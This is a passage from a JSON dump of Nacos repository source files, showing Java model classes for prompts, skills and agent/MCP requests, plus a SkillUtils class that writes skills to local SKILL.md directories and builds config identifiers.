    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.prompt;\n\nimport java.io.Serializable;\n\n/**\n * Prompt version summary for prompt version list response.\n *\n * @author nacos\n */\npublic class PromptVersionSummary implements Serializable {\n    \n    private static final long serialVersionUID = 1L;\n    \n    private String promptKey;\n    \n    private String version;\n    \n    private String commitMsg;\n    \n    private String srcUser;\n    \n    private Long gmtModified;\n    \n    public String getPromptKey() {\n        return promptKey;\n    }\n    \n    public void setPromptKey(String promptKey) {\n        this.promptKey = promptKey;\n    }\n    \n    public String getVersion() {\n        return version;\n    }\n    \n    public void setVersion(String version) {\n        this.version = version;\n    }\n    \n    public String getCommitMsg() {\n        return commitMsg;\n    }\n    \n    public void setCommitMsg(String commitMsg) {\n        this.commitMsg = commitMsg;\n    }\n    \n    public String getSrcUser() {\n        return srcUser;\n    }\n    \n    public void setSrcUser(String srcUser) {\n        this.srcUser = srcUser;\n    }\n    \n    public Long getGmtModified() {\n        return gmtModified;\n    }\n    \n    public void setGmtModified(Long gmtModified) {\n        this.gmtModified = gmtModified;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/skills/Skill.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.skills;\n\nimport java.util.Map;\n\n/**\n * Claude Skill entity for independent Skills management.\n * Simplified structure with core fields only.\n *\n * @author nacos\n */\npublic class Skill {\n    \n    /**\n     * Namespace ID (Nacos management field).\n     */\n    private String namespaceId;\n    \n    /**\n     * Skill name (unique identifier, only allows English letters, underscore, and hyphen).\n     */\n    private String name;\n    \n    /**\n     * Skill description.\n     */\n    private String description;\n    \n    /**\n     * Claude instruction (note: singular instruction).\n     */\n    private String instruction;\n    \n    /**\n     * Resource map (note: singular resource, key is resource name).\n     */\n    private Map<String, SkillResource> resource;\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n    \n    public void setNamespaceId(String namespaceId) {\n        this.namespaceId = namespaceId;\n    }\n    \n    public String getName() {\n        return name;\n    }\n    \n    public void setName(String name) {\n        this.name = name;\n    }\n    \n    public String getDescription() {\n        return description;\n    }\n    \n    public void setDescription(String description) {\n        this.description = description;\n    }\n    \n    public String getInstruction() {\n        return instruction;\n    }\n    \n    public void setInstruction(String instruction) {\n        this.instruction = instruction;\n    }\n    \n    public Map<String, SkillResource> getResource() {\n        return resource;\n    }\n    \n    public void setResource(Map<String, SkillResource> resource) {\n        this.resource = resource;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/skills/SkillBasicInfo.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.skills;\n\nimport java.util.Objects;\n\n/**\n * Skill basic info for list response.\n *\n * @author nacos\n */\npublic class SkillBasicInfo {\n    \n    private String namespaceId;\n    \n    private String name;\n    \n    private String description;\n    \n    private Long updateTime;\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n    \n    public void setNamespaceId(String namespaceId) {\n        this.namespaceId = namespaceId;\n    }\n    \n    public String getName() {\n        return name;\n    }\n    \n    public void setName(String name) {\n        this.name = name;\n    }\n    \n    public String getDescription() {\n        return description;\n    }\n    \n    public void setDescription(String description) {\n        this.description = description;\n    }\n    \n    public Long getUpdateTime() {\n        return updateTime;\n    }\n    \n    public void setUpdateTime(Long updateTime) {\n        this.updateTime = updateTime;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        SkillBasicInfo that = (SkillBasicInfo) o;\n        return Objects.equals(namespaceId, that.namespaceId)\n                && Objects.equals(name, that.name) && Objects.equals(description, that.description)\n                && Objects.equals(updateTime, that.updateTime);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(namespaceId, name, description, updateTime);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/skills/SkillResource.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.skills;\n\nimport java.util.Map;\n\n/**\n * Claude Skill Resource structure.\n *\n * @author nacos\n */\npublic class SkillResource {\n    \n    /**\n     * Resource name (includes file extension, e.g., config_check_template.json).\n     */\n    private String name;\n    \n    /**\n     * Resource type: template, data, script, etc.\n     */\n    private String type;\n    \n    /**\n     * Resource content (string format, read from independent configuration).\n     */\n    private String content;\n    \n    /**\n     * Resource metadata (optional).\n     */\n    private Map<String, Object> metadata;\n    \n    /**\n     * Get resource unique identifier.\n     * Format: \"type::name\" if type is not blank, otherwise \"name\".\n     * The separator \"::\" is used because it's not in the allowed character set for type and name.\n     *\n     * @return resource unique identifier\n     */\n    public String getResourceIdentifier() {\n        if (type != null && !type.trim().isEmpty()) {\n            return type + \"::\" + name;\n        }\n        return name;\n    }\n    \n    public String getName() {\n        return name;\n    }\n    \n    public void setName(String name) {\n        this.name = name;\n    }\n    \n    public String getType() {\n        return type;\n    }\n    \n    public void setType(String type) {\n        this.type = type;\n    }\n    \n    public String getContent() {\n        return content;\n    }\n    \n    public void setContent(String content) {\n        this.content = content;\n    }\n    \n    public Map<String, Object> getMetadata() {\n        return metadata;\n    }\n    \n    public void setMetadata(Map<String, Object> metadata) {\n        this.metadata = metadata;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/skills/SkillUtils.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.skills;\n\nimport com.alibaba.nacos.api.utils.StringUtils;\n\nimport java.io.IOException;\nimport java.nio.charset.StandardCharsets;\nimport java.nio.file.FileAlreadyExistsException;\nimport java.nio.file.Files;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\nimport java.nio.file.StandardCopyOption;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\nimport java.util.Map;\n\n/**\n * Utility class for Skill operations.\n *\n * @author nacos\n */\npublic class SkillUtils {\n    \n    private static final String NEWLINE = \"\\n\";\n    private static final String EMPTY_STRING = \"\";\n    private static final String COLON = \":\";\n    private static final String DOUBLE_QUOTE = \"\\\"\";\n    private static final String SINGLE_QUOTE = \"'\";\n    private static final String ESCAPED_DOUBLE_QUOTE = \"\\\\\\\"\";\n    \n    /**\n     * Strategy for handling existing skill directories.\n     */\n    public enum ExistingDirectoryStrategy {\n        /**\n         * Overwrite existing directory (delete and recreate).\n         */\n        OVERWRITE,\n        \n        /**\n         * Backup existing directory by renaming it with timestamp suffix.\n         */\n        BACKUP,\n        \n        /**\n         * Throw exception if directory already exists.\n         */\n        FAIL\n    }\n    \n    /**\n     * Convert Skill object to SKILL.md markdown content.\n     *\n     * @param skill the Skill object to convert\n     * @return SKILL.md markdown content\n     */\n    public static String toMarkdown(Skill skill) {\n        if (skill == null) {\n            return EMPTY_STRING;\n        }\n        \n        StringBuilder markdown = new StringBuilder();\n        \n        // YAML front matter\n        markdown.append(\"---\\n\");\n        markdown.append(\"name: \").append(escapeYamlValue(skill.getName())).append(\"\\n\");\n        markdown.append(\"description: \").append(escapeYamlValue(skill.getDescription())).append(\"\\n\");\n        markdown.append(\"---\\n\\n\");\n        \n        // Instruction content\n        if (!StringUtils.isBlank(skill.getInstruction())) {\n            String instruction = skill.getInstruction().trim();\n            markdown.append(instruction);\n            // Ensure there's a newline at the end if instruction doesn't end with one\n            if (!instruction.isEmpty() && !instruction.endsWith(NEWLINE)) {\n                markdown.append(NEWLINE);\n            }\n        }\n        \n        return markdown.toString();\n    }\n    \n    /**\n     * Escape YAML value to handle special characters.\n     * If value contains special characters (colon, quotes, newlines), wrap it in double quotes.\n     *\n     * @param value the value to escape\n     * @return escaped YAML value\n     */\n    private static String escapeYamlValue(String value) {\n        if (value == null) {\n            return EMPTY_STRING;\n        }\n        \n        // If value contains special characters, wrap in double quotes\n        if (value.contains(COLON) || value.contains(DOUBLE_QUOTE) || value.contains(SINGLE_QUOTE)\n            || value.contains(NEWLINE)) {\n            // Escape double quotes in the value\n            return DOUBLE_QUOTE + value.replace(DOUBLE_QUOTE, ESCAPED_DOUBLE_QUOTE) + DOUBLE_QUOTE;\n        }\n        \n        return value;\n    }\n    \n    /**\n     * Sync Skill object to local directory.\n     * Creates the skill directory structure, SKILL.md file, and resource files.\n     * Uses OVERWRITE strategy by default.\n     *\n     * @param skill the Skill object to sync\n     * @param baseDir the base directory path where the skill directory will be created\n     * @throws IOException if file operations fail\n     * @throws IllegalArgumentException if skill is null or skill name is blank\n     */\n    public static void syncToLocal(Skill skill, String baseDir) throws IOException {\n        syncToLocal(skill, baseDir, ExistingDirectoryStrategy.OVERWRITE);\n    }\n    \n    /**\n     * Sync Skill object to local directory with strategy.\n     * Creates the skill directory structure, SKILL.md file, and resource files.\n     * Uses atomic operation: creates temporary directory first, writes all files,\n     * then renames to final directory to ensure integrity.\n     *\n     * @param skill the Skill object to sync\n     * @param baseDir the base directory path where the skill directory will be created\n     * @param strategy the strategy for handling existing directories\n     * @throws IOException if file operations fail\n     * @throws IllegalArgumentException if skill is null or skill name is blank\n     * @throws FileAlreadyExistsException if directory exists and strategy is FAIL\n     */\n    public static void syncToLocal(Skill skill, String baseDir, ExistingDirectoryStrategy strategy) throws IOException {\n        if (skill == null) {\n            throw new IllegalArgumentException(\"Skill cannot be null\");\n        }\n        \n        if (StringUtils.isBlank(skill.getName())) {\n            throw new IllegalArgumentException(\"Skill name cannot be blank\");\n        }\n        \n        if (StringUtils.isBlank(baseDir)) {\n            throw new IllegalArgumentException(\"Base directory cannot be blank\");\n        }\n        \n        if (strategy == null) {\n            strategy = ExistingDirectoryStrategy.OVERWRITE;\n        }\n        \n        // Create skill directory path: {baseDir}/{skillName}\n        Path basePath = Paths.get(baseDir);\n        Path skillDir = basePath.resolve(skill.getName());\n        \n        // Delegate to core implementation\n        syncToLocalCore(skill, skillDir, basePath, strategy);\n    }\n    \n    /**\n     * Sync Skill object to local directory with custom skill directory name.\n     * Creates the skill directory structure, SKILL.md file, and resource files.\n     * Uses OVERWRITE strategy by default.\n     *\n     * @param skill the Skill object to sync\n     * @param baseDir the base directory path where the skill directory will be created\n     * @param skillDirName the custom directory name for the skill (if null, uses skill name)\n     * @throws IOException if file operations fail\n     * @throws IllegalArgumentException if skill is null or baseDir is blank\n     */\n    public static void syncToLocal(Skill skill, String baseDir, String skillDirName) throws IOException {\n        syncToLocal(skill, baseDir, skillDirName, ExistingDirectoryStrategy.OVERWRITE);\n    }\n    \n    /**\n     * Sync Skill object to local directory with custom skill directory name and strategy.\n     * Creates the skill directory structure, SKILL.md file, and resource files.\n     * Uses atomic operation: creates temporary directory first, writes all files,\n     * then renames to final directory to ensure integrity.\n     *\n     * @param skill the Skill object to sync\n     * @param baseDir the base directory path where the skill directory will be created\n     * @param skillDirName the custom directory name for the skill (if null, uses skill name)\n     * @param strategy the strategy for handling existing directories\n     * @throws IOException if file operations fail\n     * @throws IllegalArgumentException if skill is null or baseDir is blank\n     * @throws FileAlreadyExistsException if directory exists and strategy is FAIL\n     */\n    public static void syncToLocal(Skill skill, String baseDir, String skillDirName, ExistingDirectoryStrategy strategy) throws IOException {\n        if (skill == null) {\n            throw new IllegalArgumentException(\"Skill cannot be null\");\n        }\n        \n        if (StringUtils.isBlank(baseDir)) {\n            throw new IllegalArgumentException(\"Base directory cannot be blank\");\n        }\n        \n        if (strategy == null) {\n            strategy = ExistingDirectoryStrategy.OVERWRITE;\n        }\n        \n        // Use custom directory name or fall back to skill name\n        String dirName = !StringUtils.isBlank(skillDirName) ? skillDirName : skill.getName();\n        if (StringUtils.isBlank(dirName)) {\n            throw new IllegalArgumentException(\"Skill directory name cannot be blank\");\n        }\n        \n        // Create skill directory path: {baseDir}/{skillDirName}\n        Path basePath = Paths.get(baseDir);\n        Path skillDir = basePath.resolve(dirName);\n        \n        // Delegate to core implementation\n        syncToLocalCore(skill, skillDir, basePath, strategy);\n    }\n    \n    /**\n     * Core implementation for syncing Skill to local directory.\n     * This method contains the common logic for all syncToLocal variants.\n     *\n     * @param skill the Skill object to sync\n     * @param skillDir the target skill directory path\n     * @param basePath the base directory path\n     * @param strategy the strategy for handling existing directories\n     * @throws IOException if file operations fail\n     * @throws FileAlreadyExistsException if directory exists and strategy is FAIL\n     */\n    private static void syncToLocalCore(Skill skill, Path skillDir, Path basePath, ExistingDirectoryStrategy strategy) throws IOException {\n        // Step 1: If strategy is FAIL, check if directory exists and throw exception immediately\n        if (strategy == ExistingDirectoryStrategy.FAIL) {\n            if (Files.exists(skillDir) && Files.isDirectory(skillDir)) {\n                throw new FileAlreadyExistsException(\"Skill directory already exists: \" + skillDir);\n            }\n        }\n        \n        // Step 2: Create temporary directory and write all files\n        String dirName = skillDir.getFileName().toString();\n        Path tempSkillDir = basePath.resolve(dirName + \".tmp.\" + System.currentTimeMillis());\n        \n        try {\n            // Create temporary skill directory\n            Files.createDirectories(tempSkillDir);\n            \n            // Write SKILL.md file\n            String markdownContent = toMarkdown(skill);\n            Path skillMdPath = tempSkillDir.resolve(\"SKILL.md\");\n            Files.write(skillMdPath, markdownContent.getBytes(StandardCharsets.UTF_8));\n            \n            // Write resource files\n            if (skill.getResource() != null && !skill.getResource().isEmpty()) {\n                for (Map.Entry<String, SkillResource> entry : skill.getResource().entrySet()) {\n                    SkillResource resource = entry.getValue();\n                    if (resource == null) {\n                        continue;\n                    }\n                    \n                    String resourceName = resource.getName();\n                    if (StringUtils.isBlank(resourceName)) {\n                        // Use key as resource name if name is blank\n                        resourceName = entry.getKey();\n                    }\n                    \n                    String resourceType = resource.getType();\n                    String resourceContent = resource.getContent();\n                    \n                    // Determine resource file path\n                    Path resourcePath;\n                    if (!StringUtils.isBlank(resourceType)) {\n                        // Resources with type: {tempSkillDir}/{type}/{resourceName}\n                        Path typeDir = tempSkillDir.resolve(resourceType);\n                        Files.createDirectories(typeDir);\n                        resourcePath = typeDir.resolve(resourceName);\n                    } else {\n                        // Resources without type: {tempSkillDir}/{resourceName}\n                        resourcePath = tempSkillDir.resolve(resourceName);\n                    }\n                    \n                    // Write resource content (use empty string if content is null)\n                    String content = resourceContent != null ? resourceContent : \"\";\n                    Files.write(resourcePath, content.getBytes(StandardCharsets.UTF_8));\n                }\n            }\n            \n            // Step 3: All files written successfully, now handle final directory\n            boolean oldDirExists = Files.exists(skillDir) && Files.isDirectory(skillDir);\n            \n            if (!oldDirExists) {\n                // Old directory doesn't exist, directly rename temp directory to final directory\n                Files.move(tempSkillDir, skillDir, StandardCopyOption.ATOMIC_MOVE);\n            } else {\n                // Old directory exists, need to backup first\n                // Step 3.1: Rename old directory to backup directory\n                Path backupDir = createBackupDirectoryPath(skillDir);\n                Files.move(skillDir, backupDir, StandardCopyOption.ATOMIC_MOVE);\n                \n                // Step 3.2: Rename temp directory to final directory\n                Files.move(tempSkillDir, skillDir, StandardCopyOption.ATOMIC_MOVE);\n                \n                // Step 3.3: Handle backup directory based on strategy\n                if (strategy == ExistingDirectoryStrategy.OVERWRITE) {\n                    // Delete backup directory\n                    deleteDirectory(backupDir);\n                }\n                // If strategy is BACKUP, keep the backup directory (do nothing)\n            }\n            \n        } catch (Exception e) {\n            // Clean up temporary directory on failure\n            if (Files.exists(tempSkillDir)) {\n                try {\n                    deleteDirectory(tempSkillDir);\n                } catch (IOException cleanupException) {\n                    // Log but don't throw - original exception is more important\n                }\n            }\n            throw e;\n        }\n    }\n    \n    /**\n     * Create backup directory path with timestamp suffix.\n     * If backup directory already exists, append counter to ensure uniqueness.\n     *\n     * @param skillDir the skill directory path\n     * @return backup directory path\n     */\n    private static Path createBackupDirectoryPath(Path skillDir) {\n        SimpleDateFormat dateFormat = new SimpleDateFormat(\"yyyyMMdd_HHmmss\");\n        String timestamp = dateFormat.format(new Date());\n        Path backupDir = skillDir.getParent().resolve(skillDir.getFileName().toString() + \".backup.\" + timestamp);\n        \n        // If backup directory already exists, append counter\n        int counter = 1;\n        Path finalBackupDir = backupDir;\n        while (Files.exists(finalBackupDir)) {\n            finalBackupDir = skillDir.getParent().resolve(\n                    skillDir.getFileName().toString() + \".backup.\" + timestamp + \".\" + counter);\n            counter++;\n        }\n        \n        return finalBackupDir;\n    }\n    \n    /**\n     * Recursively delete a directory and all its contents.\n     *\n     * @param directory the directory to delete\n     * @throws IOException if deletion fails\n     */\n    private static void deleteDirectory(Path directory) throws IOException {\n        if (!Files.exists(directory)) {\n            return;\n        }\n        \n        // Delete files before directories\n        Files.walk(directory)\n                .sorted((a, b) -> b.compareTo(a))\n                .forEach(path -> {\n                    try {\n                        Files.delete(path);\n                    } catch (IOException e) {\n                        throw new RuntimeException(\"Failed to delete: \" + path, e);\n                    }\n                });\n    }\n    \n    /**\n     * Main config dataId for skill.\n     */\n    public static final String SKILL_MAIN_DATA_ID = \"skill.json\";\n    \n    /**\n     * Resource config dataId prefix.\n     */\n    public static final String RESOURCE_DATA_ID_PREFIX = \"resource_\";\n    \n    /**\n     * Resource config dataId suffix.\n     */\n    public static final String RESOURCE_DATA_ID_SUFFIX = \".json\";\n    \n    /**\n     * Skill group prefix.\n     */\n    public static final String SKILL_GROUP_PREFIX = \"skill_\";\n    \n    private static final String DOUBLE_UNDERSCORE = \"__\";\n    private static final String FILE_EXTENSION_PATTERN = \".*\\\\.[a-zA-Z0-9]+$\";\n    \n    /**\n     * Configuration info containing dataId and group.\n     */\n    public static class ConfigInfo {\n        private final String dataId;\n        private final String group;\n        \n        public ConfigInfo(String dataId, String group) {\n            this.dataId = dataId;\n            this.group = group;\n        }\n        \n        public String getDataId() {\n            return dataId;\n        }\n        \n        public String getGroup() {\n            return group;\n        }\n    }\n    \n    /**\n     * Generate resource ID from resource type and name.\n     * Format: {type}_{resourcename}\n     * If resourcename ends with .xx, convert the last . to __\n     * Slashes in type are encoded as dots so that dataId (resource_{resourceId}.json) is valid in Nacos.\n     *\n     * @param type resource type (can be null or empty; may contain / for multi-level paths)\n     * @param resourceName resource name\n     * @return resource ID (safe for use in config dataId)\n     */\n    public static String generateResourceId(String type, String resourceName) {\n        if (resourceName == null || resourceName.trim().isEmpty()) {\n            return \"\";\n        }\n        \n        // If resourcename ends with .xx, convert the last . to __\n        String processedName = resourceName;\n        if (resourceName.matches(FILE_EXTENSION_PATTERN)) {\n            // Replace only the last dot before the extension\n            int lastDotIndex = resourceName.lastIndexOf('.');\n            if (lastDotIndex > 0) {\n                processedName = resourceName.substring(0, lastDotIndex) + DOUBLE_UNDERSCORE\n                    + resourceName.substring(lastDotIndex + 1);\n            }\n        }\n        \n        if (type != null && !type.trim().isEmpty()) {\n            // Encode / as . so dataId has no slash (Nacos config key compatibility)\n            String safeType = type.trim().replace(\"/\", \".\");\n            return safeType + \"_\" + processedName;\n        } else {\n            return processedName;\n        }\n    }\n    \n    /**\n     * Build skill main config info (dataId and group).\n     * This is the unified method for building main config mapping.\n     *\n     * @param skillName name of skill\n     * @return ConfigInfo containing dataId and group\n     * @throws IllegalArgumentException if skillName is blank\n     */\n    public static ConfigInfo buildSkillMainConfigInfo(String skillName) {\n        if (StringUtils.isBlank(skillName)) {\n            throw new IllegalArgumentException(\"Skill name cannot be blank\");\n        }\n        return new ConfigInfo(SKILL_MAIN_DATA_ID, SKILL_GROUP_PREFIX + skillName);\n    }\n    \n    /**\n     * Build skill resource config info (dataId and group).\n     * This is the unified method for building resource config mapping.\n     *\n     * @param skillName name of skill\n     * @param type resource type (can be null or empty)\n     * @param resourceName resource name\n     * @return ConfigInfo containing dataId and group\n     * @throws IllegalArgumentException if skillName or resourceName is blank\n     */\n    public static ConfigInfo buildSkillResourceConfigInfo(String skillName, String type, String resourceName) {\n        if (StringUtils.isBlank(skillName)) {\n            throw new IllegalArgumentException(\"Skill name cannot be blank\");\n        }\n        if (StringUtils.isBlank(resourceName)) {\n            throw new IllegalArgumentException(\"Resource name cannot be blank\");\n        }\n        \n        String resourceId = generateResourceId(type, resourceName);\n        String dataId = RESOURCE_DATA_ID_PREFIX + resourceId + RESOURCE_DATA_ID_SUFFIX;\n        String group = SKILL_GROUP_PREFIX + skillName;\n        \n        return new ConfigInfo(dataId, group);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/remote/AiRemoteConstants.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote;\n\n/**\n * Retain all ai module request type constants.\n *\n * @author xiweng.yy\n */\npublic class AiRemoteConstants {\n    \n    public static final String REGISTER_ENDPOINT = \"registerEndpoint\";\n    \n    public static final String BATCH_REGISTER_ENDPOINT = \"batchRegisterEndpoint\";\n    \n    public static final String DE_REGISTER_ENDPOINT = \"deregisterEndpoint\";\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/remote/request/AbstractAgentRequest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.request;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.remote.request.Request;\n\n/**\n * Nacos AI module agent request.\n *\n * @author xiweng.yy\n */\npublic class AbstractAgentRequest extends Request {\n    \n    private String namespaceId;\n    \n    private String agentName;\n    \n    @Override\n    public String getModule() {\n        return Constants.AI.AI_MODULE;\n    }\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n    \n    public void setNamespaceId(String namespaceId) {\n        this.namespaceId = namespaceId;\n    }\n    \n    public String getAgentName() {\n        return agentName;\n    }\n    \n    public void setAgentName(String agentName) {\n        this.agentName = agentName;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/remote/request/AbstractMcpRequest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.request;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.remote.request.Request;\n\n/**\n * Nacos AI module mcp request.\n *\n * @author xiweng.yy\n */\npublic abstract class AbstractMcpRequest extends Request {\n    \n    private String namespaceId;\n    \n    private String mcpId;\n    \n    private String mcpName;\n    \n    @Override\n    public String getModule() {\n        return Constants.AI.AI_MODULE;\n    }\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n    \n    public void setNamespaceId(String namespaceId) {\n        this.namespaceId = namespaceId;\n    }\n    \n    public String getMcpId() {\n        return mcpId;\n    }\n    \n    public void setMcpId(String mcpId) {\n        this.mcpId = mcpId;\n    }\n    \n    public String getMcpName() {\n        return mcpName;\n    }\n    \n    public void setMcpName(String mcpName) {\n        this.mcpName = mcpName;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/remote/request/AbstractPromptRequest.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.request;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.remote.request.Request;\n\n/**\n * Nacos AI module prompt request.\n *\n * @author nacos\n */\npublic abstract class AbstractPromptRequest extends Request {\n    \n    private String namespaceId;\n    \n    private String promptKey;\n    \n    @Override\n    public String getModule() {\n        return Constants.AI.AI_MODULE;\n    }\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n    \n    public void setNamespaceId(String namespaceId) {\n        this.namespaceId = namespaceId;\n    }\n    \n    public String getPromptKey() {\n        return promptKey;\n    }\n    \n    public void setPromptKey(String promptKey) {\n        this.promptKey = promptKey;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/remote/request/AgentEndpointRequest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.request;\n\nimport com.alibaba.nacos.api.ai.model.a2a.AgentEndpoint;\nimport com.alibaba.nacos.api.ai.remote.AiRemoteConstants;\n\n/**\n * Register or Deregister endpoint for agent to nacos AI module request.\n *\n * @author xiweng.yy\n */\npublic class AgentEndpointRequest extends AbstractAgentRequest {\n    \n    private AgentEndpoint endpoint;\n    \n    /**\n     * Should be {@link AiRemoteConstants#REGISTER_ENDPOINT} or {@link AiRemoteConstants#DE_REGISTER_ENDPOINT}.\n     */\n    private String type;\n    \n    public AgentEndpoint getEndpoint() {\n        return endpoint;\n    }\n    \n    public void setEndpoint(AgentEndpoint endpoint) {\n        this.endpoint = endpoint;\n    }\n    \n    public String getType() {\n        return type;\n    }\n    \n    public void setType(String type) {\n        this.type = type;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/remote/request/BatchAgentEndpointRequest.java",
